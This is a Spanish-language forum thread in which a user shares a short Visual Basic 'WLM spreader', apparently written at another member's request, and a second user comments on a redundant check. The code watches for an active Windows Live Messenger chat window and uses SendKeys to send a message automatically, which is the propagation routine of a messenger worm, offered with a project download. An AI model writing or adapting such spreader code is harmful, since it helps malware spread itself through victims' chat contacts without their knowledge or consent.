Simple 'WLM' Spreader

[illuminat3d]

Bueno ShadeHack me pidió un propagador de msn e hice este muy sencillo =)
Se puede poner otra verificación del caracter '<'

Requerido 1 timer.

Código (vb) [Seleccionar] Expandir


Private Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "User32" () As Long
Dim lRet As Long, nWindow As String, Capt As String, Dat() As String

Private Sub TM_Timer()
lRet = GetForegroundWindow() ' Obtenemos el handle de la ventana activa
Capt = Space$(1024) ' Creamos un buffer para el titulo de la ventana
nWindow = GetWindowText(lRet, Capt, Len(Capt)) ' Obtenemos la cantidad de carácteres
Capt = Left$(Capt, nWindow) ' Obtenemos el nombre de la ventana
 
If Capt <> "" Then ' Verificamos que en la variable Capt haya datos
 Dat() = Split(Capt, "@") ' Hacemos un split para hacer una 1 verificación
 If UBound(Dat) > 0 Then ' Verificamos si dentro de la matriz Dat() hay datos
  If InStr(1, Dat(1), ">") Then SendKeys ("Hola soy tu menstruación!" & "{ENTER}")  ' Hacemos una 2 verificación para saber si es una ventana de Windows Live Messenger y mandamos el mensaje
End If
End Sub



Descargar proyecto WLM Spread

Saludos!

[Karcrack]

Muy simple, pero util para los que empiecen con APIs

Solo una cosa, esta instruccion 'InStr(1, Capt, "@")' no seria necesaria, ya que si haces un Split y no hay ningun '@' el codigo no seguira

[illuminat3d]

Muy simple, pero util para los que empiecen con APIs

Solo una cosa, esta instruccion 'InStr(1, Capt, "@")' no seria necesaria, ya que si haces un Split y no hay ningun '@' el codigo no seguira

Uyy que bobo, cierto se me fue la hoya.